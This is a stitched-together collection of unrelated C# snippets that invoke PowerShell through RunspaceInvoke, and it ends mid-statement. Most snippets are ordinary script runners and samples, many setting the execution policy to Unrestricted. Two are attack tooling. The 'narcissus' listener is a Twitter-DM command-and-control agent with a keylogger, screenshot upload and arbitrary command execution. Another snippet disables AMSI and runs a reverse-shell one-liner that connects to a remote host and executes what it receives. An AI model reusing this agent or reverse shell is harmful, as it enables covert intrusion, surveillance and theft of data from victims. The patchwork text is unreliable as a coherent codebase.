public static void ExecutePowershellScript(string scriptPath, string executionPolicy, params string[] parameters) { RunspaceConfiguration runspaceConfiguration = RunspaceConfiguration.Create(); Runspace runspace = RunspaceFactory.CreateRunspace(runspaceConfiguration); runspace.Open(); using (RunspaceInvoke invoker = new RunspaceInvoke()) { invoker.Invoke(String.Format("Set-ExecutionPolicy {0}", executionPolicy)); Command myCommand = new Command(scriptPath); for (int i = 0; i < parameters.Length; i++) { myCommand.Parameters.Add(new CommandParameter(null, parameters[i])); } Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.Add(myCommand); var results = pipeline.Invoke(); } }
/// <summary> /// This sample uses the RunspaceInvoke class to execute /// a script that retrieves process information for the /// list of process names passed into the script. /// It shows how to pass input objects to a script and /// how to retrieve error objects as well as the output objects. /// </summary> /// <param name="args">Unused</param> /// <remarks> /// This sample demonstrates the following: /// 1. Creating an instance of the RunspaceInvoke class. /// 2. Using this instance to execute a string as a PowerShell script. /// 3. Passing input objects to the script from the calling program. /// 4. Using PSObject to extract and display properties from the objects /// returned by this command. /// 5. Retrieving and displaying error records that were generated /// during the execution of that script. /// </remarks> static void Main(string[] args) { // Define a list of processes to look for string[] processNames = new string[] { "lsass", "nosuchprocess", "services", "nosuchprocess2" }; // The script to run to get these processes. Input passed // to the script will be available in the $input variable. string script = "$input | get-process -name {$_}"; // Create an instance of the RunspaceInvoke class. RunspaceInvoke invoker = new RunspaceInvoke(); Console.WriteLine("Process HandleCount"); Console.WriteLine("--------------------------------"); // Now invoke the runspace and display the objects that are // returned... System.Collections.IList errors = null; foreach (PSObject result in invoker.Invoke(script, processNames, out errors)) { Console.WriteLine("{0,-20} {1}", result.Members["ProcessName"].Value, result.Members["HandleCount"].Value); } // Now process any error records that were generated while running the script. Console.WriteLine("\nThe following non-terminating errors occurred:\n"); if (errors != null && errors.Count > 0) { foreach (PSObject err in errors) { System.Console.WriteLine(" error: {0}", err.ToString()); } } System.Console.WriteLine("\nHit any key to exit..."); System.Console.ReadKey(); }
/// <summary> /// Executes a powershell script /// </summary> /// <param name="folder">Folder where to execute the script</param> /// <param name="file">Script to execute</param> /// <param name="configuration">Configuration used</param> /// <param name="log">Logger to use</param> /// <param name="parameters">Parameters for the script</param> public static void Execute(string folder, string file, string configuration, ILogger log, Dictionary <string, string> parameters) { RunspaceConfiguration runspaceConfiguration = RunspaceConfiguration.Create(); Runspace runspace = RunspaceFactory.CreateRunspace(new Host(), runspaceConfiguration); runspace.Open(); runspace.SessionStateProxy.Path.SetLocation(folder); RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); scriptInvoker.Invoke("Set-ExecutionPolicy Unrestricted"); Pipeline pipeline = runspace.CreatePipeline(); Command myCommand = new Command(Path.Combine(folder, file)); foreach (var param in parameters.Keys) { myCommand.Parameters.Add(new CommandParameter("-" + param, parameters[param])); } myCommand.Parameters.Add(new CommandParameter("-Verb", "RunAs")); pipeline.Commands.Add(myCommand); Collection <PSObject> results = new Collection <PSObject>(); try { results = pipeline.Invoke(); } catch (RuntimeException e) { log.Log(e.Message, true); } finally { results.ToList().ForEach(x => log.Log(x.ToString())); pipeline.Error.ReadToEnd().ToList().ForEach(x => log.Log(x.ToString(), true)); } }
public static void UsingPowerShell(string[] filesToMerge, string outputFilename) { // create Powershell runspace Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace); runSpaceInvoker.Invoke("Set-ExecutionPolicy Unrestricted"); // create a pipeline and feed it the script text Pipeline pipeline = runspace.CreatePipeline(); Command command = new Command(SCRIPT_PATH); foreach (var file in filesToMerge) { command.Parameters.Add(null, file); } command.Parameters.Add(null, outputFilename); pipeline.Commands.Add(command); pipeline.Invoke(); runspace.Close(); }
/// <summary> /// This sample uses the RunspaceInvoke class to execute /// the get-process cmdlet synchronously. The name and /// handlecount are then extracted from the PSObjects /// returned and displayed. /// </summary> /// <param name="args">Unused</param> /// <remarks> /// This sample demonstrates the following: /// 1. Creating an instance of the RunspaceInvoke class. /// 2. Using this instance to invoke a PowerShell command. /// 3. Using PSObject to extract properties from the objects /// returned by this command. /// </remarks> static void Main(string[] args) { // Create an instance of the RunspaceInvoke class. // This takes care of all building all of the other // data structures needed... RunspaceInvoke invoker = new RunspaceInvoke(); Console.WriteLine("Process HandleCount"); Console.WriteLine("--------------------------------"); // Now invoke the runspace and display the objects that are // returned... foreach (PSObject result in invoker.Invoke("get-process")) { Console.WriteLine("{0,-20} {1}", result.Members["ProcessName"].Value, result.Members["HandleCount"].Value); } System.Console.WriteLine("Hit any key to exit..."); System.Console.ReadKey(); }
public const string PWNED_SCRIPT = "../../PwnedScript.ps1"; // File containing have I been pwned email checker /* Used to run PowerShell scripts * ***************************************/ public static List <string> runPowerShellScript(string scriptFile, List <string> parameters) { RunspaceConfiguration runspaceConfig = RunspaceConfiguration.Create(); using (Runspace runspace = RunspaceFactory.CreateRunspace(runspaceConfig)) { runspace.ThreadOptions = PSThreadOptions.UseNewThread; // Run script in new thread runspace.Open(); RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); scriptInvoker.Invoke("Set-ExecutionPolicy Unrestricted"); // Causing authorization error Pipeline pipeline = runspace.CreatePipeline(); Command scriptCommand = new Command(scriptFile); // Add parameters for each parameter passed to method Collection <CommandParameter> cmdParameters = new Collection <CommandParameter>(); foreach (string scriptParam in parameters) { CommandParameter cmdParam = new CommandParameter(null, scriptParam); cmdParameters.Add(cmdParam); scriptCommand.Parameters.Add(cmdParam); } pipeline.Commands.Add(scriptCommand); Collection <PSObject> results = pipeline.Invoke(); // Execute PowerShell script // Handle results List <string> powerShellResults = new List <string>(); foreach (PSObject p in results) { Hashtable ht = p.ImmediateBaseObject as Hashtable; powerShellResults.Add(ht["ReturnString"].ToString()); } runspace.Close(); return(powerShellResults); } }
public static string pscmd(string cmd) { Runspace r = RunspaceFactory.CreateRunspace(); r.Open(); RunspaceInvoke s = new RunspaceInvoke(r); s.Invoke("Set-ExecutionPolicy Unrestricted -Scope CurrentUser"); Pipeline p = r.CreatePipeline(); p.Commands.AddScript(cmd); p.Commands.Add("Out-String"); Collection <PSObject> results = p.Invoke(); r.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject obj in results) { sb.Append(obj); } return(sb.ToString().Trim()); }
/// <summary> /// Constructor, creates a new PipelineExecutor for the given powershell script. /// </summary> /// <param name="runSpace">Powershell runspace to use for creating and executing the script.</param> /// <param name="invoker">The object to synchronize the DataReady and DataEnd events with. /// Normally you'd pass the form or component here.</param> /// <param name="command">The script to run</param> public PipelineExecutor(Runspace runSpace, ISynchronizeInvoke invoker, Command command) { this.invoker = invoker; RunspaceInvoke scriptInvoker = new RunspaceInvoke(runSpace); scriptInvoker.Invoke("Set-ExecutionPolicy Unrestricted"); // initialize delegates synchDataReady = new DataReadyDelegate(SynchDataReady); synchDataEnd = new DataEndDelegate(SynchDataEnd); synchErrorReady = new ErrorReadyDelegate(SynchErrorReady); // initialize event members stopEvent = new ManualResetEvent(false); waitHandles = new WaitHandle[] { null, stopEvent }; // create a pipeline and feed it the script text pipeline = runSpace.CreatePipeline(); pipeline.Commands.Add(command); // we'll listen for script output data by way of the DataReady event pipeline.Output.DataReady += new EventHandler(Output_DataReady); pipeline.Error.DataReady += new EventHandler(Error_DataReady); }
public static Collection <PSObject> ExecuteLocalShellCommand(this Runspace runSpace, Command cmd, out object[] errors, params string[] moduleImports) { Command invokeCommand = new Command("Invoke-Command"); RunspaceInvoke invoke = new RunspaceInvoke(); string commandString = moduleImports.Any() ? string.Format("import-module {0};", string.Join(",", moduleImports)) : string.Empty; commandString += cmd.CommandText; if (cmd.Parameters != null && cmd.Parameters.Any()) { commandString += " " + string.Join(" ", cmd.Parameters.Select(x => string.Format("-{0} {1}", x.Name, x.Value)).ToArray()); } ScriptBlock sb = invoke.Invoke(string.Format("{{{0}}}", commandString))[0].BaseObject as ScriptBlock; invokeCommand.Parameters.Add("ScriptBlock", sb); return(ExecuteShellCommand(runSpace, invokeCommand, false, null, out errors)); }
public static IEnumerable <string> ExecutePowershellCommand(this Robot robot, string command) { var host = new MMBotHost(robot); using (var runspace = RunspaceFactory.CreateRunspace(host)) { runspace.Open(); using (var invoker = new RunspaceInvoke(runspace)) { Collection <PSObject> psObjects = new Collection <PSObject>(); try { IList errors; psObjects = invoker.Invoke(command, null, out errors); if (errors.Count > 0) { string errorString = string.Empty; foreach (var error in errors) { errorString += error.ToString(); } psObjects.Add(new PSObject(errorString)); } } catch (Exception ex) { psObjects.Add(new PSObject(ex.Message)); } foreach (var psObject in psObjects) { yield return(psObject.ConvertToString()); } } } }
static void Main(string[] args) { // Create and Open a Runspace string fileName = @"D:\script.ps1"; RunspaceConfiguration config = RunspaceConfiguration.Create(); Runspace myRs = RunspaceFactory.CreateRunspace(config); myRs.Open(); // Attempt to configure PowerShell so we can forcefully run a script. RunspaceInvoke scriptInvoker = new RunspaceInvoke(myRs); scriptInvoker.Invoke("Set-ExecutionPolicy Unrestricted -Scope Process -Force"); Pipeline pipeline = myRs.CreatePipeline(); pipeline.Commands.AddScript(fileName); Collection <PSObject> results = null; try { results = pipeline.Invoke(); // Read standard output from the PowerShell script here... foreach (var item in results) { Debug.WriteLine("Normal Output: " + item.ToString()); } } catch (System.Management.Automation.RuntimeException e) { Debug.WriteLine("PowerShell Script 'Stop' Error: " + e.Message); } myRs.Close(); }
static void Main(string[] args) { //コマンドライン引数かパイプからテキストを受け取る var text = string.Join(" ", args); if (text.Equals("")) { using (var input = Console.In) { text = input.ReadToEnd(); } } //コマンドライン引数をトースト通知として表示します var code = new string[] { "$ErrorActionPreference = \"Stop\"", "$notificationTitle = \"" + text.Replace("\"", "") + "\"", "[Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] > $null", "$template = [Windows.UI.Notifications.ToastNotificationManager]::GetTemplateContent([Windows.UI.Notifications.ToastTemplateType]::ToastText02)", "$toastXml = [xml] $template.GetXml()", "$toastXml.GetElementsByTagName(\"text\").AppendChild($toastXml.CreateTextNode($notificationTitle)) > $null", "$xml = New-Object Windows.Data.Xml.Dom.XmlDocument", "$xml.LoadXml($toastXml.OuterXml)", "$toast = [Windows.UI.Notifications.ToastNotification]::new($xml)", "$toast.Tag = \"PowerShell\"", "$toast.Group = \"PowerShell\"", "$toast.ExpirationTime = [DateTimeOffset]::Now.AddMinutes(5)", "$notifier = [Windows.UI.Notifications.ToastNotificationManager]::CreateToastNotifier(\"PowerShell\")", "$notifier.Show($toast);" }; using (var invoker = new RunspaceInvoke()) { invoker.Invoke(string.Join("\n", code), new object[] { }); } }
public static void ExecutePowershellScriptFileIfExists(this IPackage package, String scriptName, String locationRoot) { var script = package .GetToolFiles() .Where(f => Path.GetExtension(f.Path) == ".ps1") .SingleOrDefault(f => Path.GetFileNameWithoutExtension(f.Path) == scriptName); if (script == null) { return; } var installPath = Path.Combine(locationRoot, String.Format("{0}.{1}", package.Id, package.Version)); var scriptPath = Path.Combine(installPath, script.Path); var toolsPath = Path.GetDirectoryName(scriptPath); var runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); var setExecutionPolicy = new RunspaceInvoke(); setExecutionPolicy.Invoke("Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process"); var pipeline = runspace.CreatePipeline(); var command = new Command(scriptPath); command.Parameters.Add("installPath", installPath); command.Parameters.Add("toolsPath", toolsPath); command.Parameters.Add("package", package); pipeline.Commands.Add(command); pipeline.Invoke(); runspace.Close(); }
protected void DropDownList1_SelectedIndexChanged(object sender, EventArgs e) { PowerShell psPipeline = PowerShell.Create(); Runspace runSpace = RunspaceFactory.CreateRunspace(); runSpace.Open(); RunspaceInvoke runspaceInvoke = new RunspaceInvoke(runSpace); runspaceInvoke.Invoke("Set-ExecutionPolicy -Scope Process Unrestricted"); psPipeline.Runspace = runSpace; string str = ""; psPipeline.AddScript(@"C:\Users\browninfosecguy\Documents\GitHub\PowerShell-CSharp\ASPPowerShell\ASPPowerShell\myScript.ps1"); var results = psPipeline.Invoke(); //if(results.Count > 0) //{ // foreach(var obj in results) // { // str += obj.Members["name"].Value; // str += "\r\n"; // } //} if (DropDownList1.SelectedValue == "1") { foreach (var obj in results) { str += obj.ToString(); str += "\r\n"; } TextBox1.Text = str; } else if (DropDownList1.SelectedValue == "2") { DataTable dt = new DataTable("Process Information"); DataColumn processName = new DataColumn("Process Name"); processName.DataType = System.Type.GetType("System.String"); DataColumn processId = new DataColumn("Process Id"); processId.DataType = System.Type.GetType("System.String"); DataColumn processPath = new DataColumn("Process Path"); processPath.DataType = System.Type.GetType("System.String"); dt.Columns.Add(processName); dt.Columns.Add(processId); dt.Columns.Add(processPath); if (results.Count > 0) { foreach (var obj in results) { DataRow newRow = dt.NewRow(); newRow["Process Name"] = obj.Properties["name"].Value; newRow["Process Id"] = obj.Properties["id"].Value; newRow["Process Path"] = obj.Properties["Path"].Value; dt.Rows.Add(newRow); } } GridView1.DataSource = dt; GridView1.DataBind(); } }
internal Collection <PSObject> RunPowerShellModule(string scriptName, string command) { if (!File.Exists(GetPath(scriptName))) { return(new Collection <PSObject> { new PSObject("Unknown command!, try \"@autobot Get-Help\" instead") }); } // initialise the host var host = new Host.AutoBotHost(); // run the script inside the host using (var runspace = RunspaceFactory.CreateRunspace(host)) { runspace.Open(); using (var invoker = new RunspaceInvoke(runspace)) { string scriptPath = GetPath(scriptName); Collection <PSObject> psObjects; invoker.Invoke(string.Format("Import-Module {0}", scriptPath)); try { // execute the PowerShell Function with the same name as the module IList errors; psObjects = invoker.Invoke(string.Format("{0} {1}", scriptName, command), null, out errors); if (errors.Count > 0) { string errorString = string.Empty; foreach (var error in errors) { errorString += error.ToString(); } _logger.Error(string.Format("ERROR!: {0}", errorString)); return(new Collection <PSObject> { new PSObject(string.Format("OOohhh, I got an error running {0}. It looks like this: \r\n{1}.", scriptName, errorString)) }); } return(psObjects); } catch (Exception ex) { _logger.Error("ERROR!:", ex); string errorText = string.Format("Urghhh!, that didn't taste nice! There's a problem with me running the {0} script. \r\n", scriptName); errorText += String.Format("Check you are calling the script correctly by using \"@autobot get-help {0}\" \r\n", scriptName); errorText += "If all else fails ask your administrator for the event/error log entry."; return(new Collection <PSObject> { new PSObject(errorText) }); } finally { invoker.Invoke(string.Format("Remove-Module {0}", scriptName)); } } } }
public static void MessageListener() { string twitterResponse; JavaScriptSerializer messageParser = new JavaScriptSerializer(); TwitterResponse responseData; DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc); DateTime latestTime = DateTime.Now.ToUniversalTime(); int beaconTimer = 60; Thread keyThread = new Thread(new ThreadStart(RunKeylogger)); RunspaceConfiguration nRsConfig = RunspaceConfiguration.Create(); Runspace narcissusRs = RunspaceFactory.CreateRunspace(nRsConfig); narcissusRs.Open(); RunspaceInvoke nRsInvoker = new RunspaceInvoke(narcissusRs); nRsInvoker.Invoke("Set-ExecutionPolicy -Scope Process Unrestricted"); while (true) { try { twitterResponse = narcissusMain.Receive_DM(); responseData = messageParser.Deserialize <TwitterResponse>(twitterResponse); foreach (Event dmEvent in responseData.events) { if (epoch.AddMilliseconds(Convert.ToDouble(dmEvent.created_timestamp)) > latestTime && dmEvent.message_create.sender_id != "35088627") { // Reset latest time latestTime = epoch.AddMilliseconds(Convert.ToDouble(dmEvent.created_timestamp)); Console.WriteLine(latestTime.ToString()); Console.WriteLine(dmEvent.message_create.message_data.text); // Narcissus custom commands if (dmEvent.message_create.message_data.text == "Kill") { narcissusMain.Send_DM(dmEvent.message_create.sender_id, "Acknowledged. Killing narcissus agent."); return; } else if (dmEvent.message_create.message_data.text.Split(' ')[0] == "Set-Beacon") { beaconTimer = Convert.ToInt32(dmEvent.message_create.message_data.text.Split(' ')[1]); narcissusMain.Send_DM(dmEvent.message_create.sender_id, "Acknowledged. Setting beacon to " + beaconTimer.ToString() + " seconds."); } else if (dmEvent.message_create.message_data.text == "Get-Screenshot") { string targetPath = Path.GetTempPath() + "mssccm.png"; narcissusMain.GetScreenshot(targetPath); string screenshotId = narcissusMain.UploadImage(targetPath); narcissusMain.Send_DM(dmEvent.message_create.sender_id, "Got screenshot.", "media", screenshotId); File.Delete(targetPath); } else if (dmEvent.message_create.message_data.text == "Start-Keylogger") { narcissusMain.Send_DM(dmEvent.message_create.sender_id, "Acknowledged. Starting keylogger."); if (!keyThread.IsAlive) { keyThread.Start(); } } else if (dmEvent.message_create.message_data.text == "Kill-Keylogger") { if (keyThread.IsAlive) { keyThread.Abort(); } string loggedKeys = File.ReadAllText(Path.GetTempPath() + "key.log"); narcissusMain.Send_DM(dmEvent.message_create.sender_id, loggedKeys); File.Delete(Path.GetTempPath() + "key.log"); } else { // Run custom PowerShell command string output = narcissusMain.RunPowerShell(narcissusRs, dmEvent.message_create.message_data.text); narcissusMain.Send_DM(dmEvent.message_create.sender_id, output); } } } Thread.Sleep(beaconTimer * 1000); } catch (ThreadAbortException) { narcissusRs.Close(); Console.WriteLine("Narcissus listener exited safely"); return; } } }
public static void Main(string[] args) { string command = "", rhost = "", port = ""; // checking for RevShell mode bool revShell = false; if (args != null && args.Length > 0 && !string.IsNullOrEmpty(args[0]) && !string.IsNullOrEmpty(args[1])) { revShell = true; rhost = args[0]; port = args[1]; } Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); // OLD ** Amsi bypass technique from: http://cn33liz.blogspot.co.uk/2016/05/bypassing-amsi-using-powershell-5-dll.html // OLD ** string Arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE"); // OLD ** AmsiBypass.Amsi(Arch); // NEW ** https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs AmsiBypass.Disable(); // set execution policy to Unrestricted for current process // this should bypass costraint language mode from the low priv 'ConstrainedLanguage' to our beloved 'FullLanguage' RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace); runSpaceInvoker.Invoke("Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process"); //rev shell one-liner //string revShellcommand = @"$client = New-Object System.Net.Sockets.TCPClient('{RHOST}',{PORT});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"; //rev shell better one-liner (pretty printed) with exception handling string revShellcommand = @"$client = New-Object System.Net.Sockets.TCPClient('{RHOST}',{PORT}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); try { $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; } catch { $error[0].ToString() + $error[0].InvocationInfo.PositionMessage; $sendback2 = ""ERROR: "" + $error[0].ToString() + ""`n`n"" + ""PS "" + (pwd).Path + '> '; } $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush(); }; $client.Close();"; // funny intro if (!revShell) { Console.WriteLine("Type your P0w3rSh3ll command down here \n"); } else { revShellcommand = revShellcommand.Replace("{RHOST}", rhost).Replace("{PORT}", port); } // loop for getting commands from Stdin do { if (!revShell) { Console.Write("PS > "); command = Console.ReadLine(); } else { command = revShellcommand; } // vervbse check! if (!string.IsNullOrEmpty(command)) { using (Pipeline pipeline = runspace.CreatePipeline()) { try { pipeline.Commands.AddScript(command); pipeline.Commands.Add("Out-String"); // if revshell true - run asyn one-liner script and exit if (revShell) { Console.Write("Trying to connect back...\n"); } // otherwise stay open and ready to accept and invoke commands Collection <PSObject> results = pipeline.Invoke(); //var process = (Process)pipeline.Output.Read().BaseObject; StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } Console.Write(stringBuilder.ToString()); } catch (Exception ex) { if (revShell) { revShellcommand = ""; } Console.WriteLine("{0}", ex.Message); } } } }while (command != "exit"); }
private static void RunScript(string script, string[] args) { lock (psLocker) { powershellHost = new Host(); powershellEngine = System.Management.Automation.PowerShell.Create(); } try { InitialSessionState initalState = InitialSessionState.CreateDefault(); List <ParameterItem> validCmds = new List <ParameterItem>(); //AddValidCommands Commandline cmdLine = new Commandline(args); if (cmdLine["help"] == "true" || cmdLine["?"] == "true") { AssemblyData assInfo = new AssemblyData(System.Reflection.Assembly.GetExecutingAssembly()); StringBuilder outputBuilder = new StringBuilder(); outputBuilder.AppendLine(); outputBuilder.AppendLine(string.Format("{0} v{1} by {2}", assInfo.Product, assInfo.Version, assInfo.Company)); outputBuilder.AppendLine(assInfo.Copyright); outputBuilder.AppendLine(); outputBuilder.AppendLine(" [-Help]"); outputBuilder.AppendLine(" Show help"); foreach (ParameterItem cmdName in validCmds) { if (cmdName.Mandatory) { outputBuilder.AppendLine(string.Format(" -{0} <{1}>", cmdName.Name, cmdName.Type)); } else { outputBuilder.AppendLine(string.Format(" [-{0} <{1}>]", cmdName.Name, cmdName.Type)); } if (!string.IsNullOrWhiteSpace(cmdName.HelpText)) { outputBuilder.AppendLine(string.Format(" {0}", cmdName.HelpText)); } } if (hideCon) { MessageBox.Show(outputBuilder.ToString(), "Help", MessageBoxButtons.OK, MessageBoxIcon.Question); } else { ConsoleHandler.WriteLine(outputBuilder.ToString()); } return; } Dictionary <string, object> cmdLineArgs = new Dictionary <string, object>(); foreach (string arg in cmdLine.GetKeys()) { ParameterItem paramItem = validCmds.FirstOrDefault(x => String.Equals(x.Name, arg, StringComparison.CurrentCultureIgnoreCase)); if (paramItem != null) { try { object realItem; switch (paramItem.Type) { case "sbyte": realItem = sbyte.Parse(cmdLine[arg]); break; case "byte": realItem = byte.Parse(cmdLine[arg]); break; case "short": realItem = short.Parse(cmdLine[arg]); break; case "ushort": realItem = ushort.Parse(cmdLine[arg]); break; case "int": realItem = int.Parse(cmdLine[arg]); break; case "uint": realItem = uint.Parse(cmdLine[arg]); break; case "ulong": realItem = ulong.Parse(cmdLine[arg]); break; case "long": realItem = long.Parse(cmdLine[arg]); break; case "float": realItem = float.Parse(cmdLine[arg]); break; case "double": realItem = double.Parse(cmdLine[arg]); break; case "decimal": realItem = decimal.Parse(cmdLine[arg]); break; case "char": realItem = char.Parse(cmdLine[arg]); break; case "switch": case "bool": realItem = bool.Parse(cmdLine[arg]); break; case "boolean": realItem = Boolean.Parse(cmdLine[arg]); break; default: realItem = cmdLine[arg]; break; } cmdLineArgs.Add(arg, realItem); } catch (Exception) { string errorString = string.Format("Parameter '-{0}' was not in correct format: '{1}'", arg, paramItem.Type); if (hideCon) { MessageBox.Show(errorString, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { ConsoleHandler.WriteLine(errorString); } return; } } else { StringBuilder outputBuilder = new StringBuilder(); outputBuilder.AppendLine(string.Format("Parameter '-{0}' is not valid. Use '-help' to show valid parameters.", arg)); if (hideCon) { MessageBox.Show(outputBuilder.ToString(), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { ConsoleHandler.WriteLine(outputBuilder.ToString()); } return; } } foreach (ParameterItem paramItem in validCmds.Where(x => x.Mandatory == true)) { if (!cmdLineArgs.ContainsKey(paramItem.Name.ToLower())) { StringBuilder outputBuilder = new StringBuilder(); outputBuilder.AppendLine(string.Format("Parameter '-{0}' of type '{1}' is mandatory.", paramItem.Name, paramItem.Type)); if (hideCon) { MessageBox.Show(outputBuilder.ToString(), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { ConsoleHandler.WriteLine(outputBuilder.ToString()); } return; } } List <string> modulesToLoad = Common.ProcessManifest(initalState); powershellEngine.Runspace = RunspaceFactory.CreateRunspace(powershellHost, initalState); powershellEngine.Runspace.ApartmentState = System.Threading.ApartmentState.MTA; powershellEngine.Runspace.Open(); RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(powershellEngine.Runspace); try { runSpaceInvoker.Invoke("Set-ExecutionPolicy Unrestricted -Scope Process"); } catch { } foreach (string module in modulesToLoad) { try { runSpaceInvoker.Invoke(string.Format("Import-Module {0} -Scope Global", module)); } catch (Exception e) { ConsoleHandler.WriteLine(string.Format("Could import module {0}: {0}", e.Message, module)); } } Pipeline pipeline = powershellEngine.Runspace.CreatePipeline(); Command command = new Command(script, true, true); foreach (KeyValuePair <string, object> cmdLineData in cmdLineArgs) { command.Parameters.Add(cmdLineData.Key, cmdLineData.Value); } pipeline.Commands.Add(command); Collection <PSObject> resultObjects = pipeline.Invoke(); foreach (PSObject resultObject in resultObjects) { ConsoleHandler.WriteLine(resultObject.ToString()); } } catch (Exception e) { ConsoleHandler.WriteLine(string.Format("Internal error: {0}", e.Message)); } finally { lock (psLocker) { powershellEngine.Dispose(); powershellEngine = null; } } }
private void InitilizeFromScript() { components = new System.ComponentModel.Container(); // 1.ServiceName var result = invoker.Invoke(String.Format(variableInvoke, "ServiceName")); if (result.Count == 1) { this.ServiceName = result[0].ToString(); Console.WriteLine("サービス名:" + this.ServiceName); } else { this.ServiceName = "Service1"; Console.WriteLine("サービス名が取得できませんでした。デフォルトサービス名Service1を設定します"); foreach (var r in result) { Console.WriteLine(r); } } // 2.CanStop result = invoker.Invoke(String.Format(variableInvoke, "CanStop")); if (result.Count == 1) { this.CanStop = (bool)result[0].ImmediateBaseObject; Console.WriteLine("CanStop:" + this.CanStop); } else { Console.WriteLine("CanStopが取得できませんでした。"); foreach (var r in result) { Console.WriteLine(r); } } // 3.CanShutdown result = invoker.Invoke(String.Format(variableInvoke, "CanShutdown")); if (result.Count == 1) { this.CanShutdown = (bool)result[0].ImmediateBaseObject; Console.WriteLine("CanShutdown:" + this.CanShutdown); } else { Console.WriteLine("CanShutdownが取得できませんでした。"); foreach (var r in result) { Console.WriteLine(r); } } // 4.CanPauseAndContinue result = invoker.Invoke(String.Format(variableInvoke, "CanPauseAndContinue")); if (result.Count == 1) { this.CanPauseAndContinue = (bool)result[0].ImmediateBaseObject; Console.WriteLine("CanPauseAndContinue:" + this.CanPauseAndContinue); } else { Console.WriteLine("CanPauseAndContinueが取得できませんでした。"); foreach (var r in result) { Console.WriteLine(r); } } // 5.CanHandlePowerEvent result = invoker.Invoke(String.Format(variableInvoke, "CanHandlePowerEvent")); if (result.Count == 1) { this.CanHandlePowerEvent = (bool)result[0].ImmediateBaseObject; Console.WriteLine("CanHandlePowerEvent:" + this.CanHandlePowerEvent); } else { Console.WriteLine("CanHandlePowerEventが取得できませんでした。"); foreach (var r in result) { Console.WriteLine(r); } } // 6.CanHandleSessionChangeEvent result = invoker.Invoke(String.Format(variableInvoke, "CanHandleSessionChangeEvent")); if (result.Count == 1) { this.CanHandleSessionChangeEvent = (bool)result[0].ImmediateBaseObject; Console.WriteLine("CanHandleSessionChangeEvent:" + this.CanHandleSessionChangeEvent); } else { Console.WriteLine("CanHandleSessionChangeEventが取得できませんでした。"); foreach (var r in result) { Console.WriteLine(r); } } // 7.AutoLog result = invoker.Invoke(String.Format(variableInvoke, "AutoLog")); if (result.Count == 1) { this.AutoLog = (bool)result[0].ImmediateBaseObject; Console.WriteLine("AutoLog:" + this.AutoLog); } else { Console.WriteLine("AutoLogが取得できませんでした。"); foreach (var r in result) { Console.WriteLine(r); } } // 8.ExitCode result = invoker.Invoke(String.Format(variableInvoke, "ExitCode")); if (result.Count == 1) { this.ExitCode = (int)result[0].ImmediateBaseObject; Console.WriteLine("ExitCode:" + this.ExitCode); } else { Console.WriteLine("ExitCodeが取得できませんでした。"); foreach (var r in result) { Console.WriteLine(r); } } }
public IAsyncResult RunScript() { IAsyncResult ar = null; Output = new PSDataCollection <PSObject>(); Output.DataAdded += Output_DataAdded; // the streams (Error, Debug, Progress, etc) are available on the PowerShell instance. // we can review them during or after execution. // we can also be notified when a new item is written to the stream (like this): // \Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll var initial = InitialSessionState.CreateDefault(); using (Runspace runspace = RunspaceFactory.CreateRunspace(initial)) { runspace.Open(); PowerShell ps = PowerShell.Create(); ps.Runspace = runspace; RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace); //try { // Logger.WriteMessage(LogLevel.Info, $"Set-ExecutionPolicy Unrestricted"); // runSpaceInvoker.Invoke("Set-ExecutionPolicy Unrestricted -Force"); //} catch (Exception ex) { Logger.WriteMessage(LogLevel.Error, $"{ex.Message}"); } try { Logger.WriteMessage(LogLevel.Info, $"Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force"); runSpaceInvoker.Invoke("Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force"); } catch (Exception ex) { Logger.WriteMessage(LogLevel.Error, $"{ex.Message}"); } var cmd = new Command(@"invoke-command"); cmd.Parameters.Add(new CommandParameter("Scriptblock", //, text)); ScriptBlock.Create(@".\" + Script))); cmd.MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); ps.Commands.AddCommand(cmd); this.PS = ps; ps.Streams.Error.DataAdded += Error_DataAdded; try { Parse.TryBind(ps); } catch (MissingMethodException) {; } // Consul failure System.MissingMethodException: Method not found: // 'System.Management.Automatio Management.Automation.InformationRecord > System.Management.Automation.PSDataStreams.get_Info IAsyncResult async = ps.BeginInvoke <PSObject, PSObject>(null, Output); ar = async; if 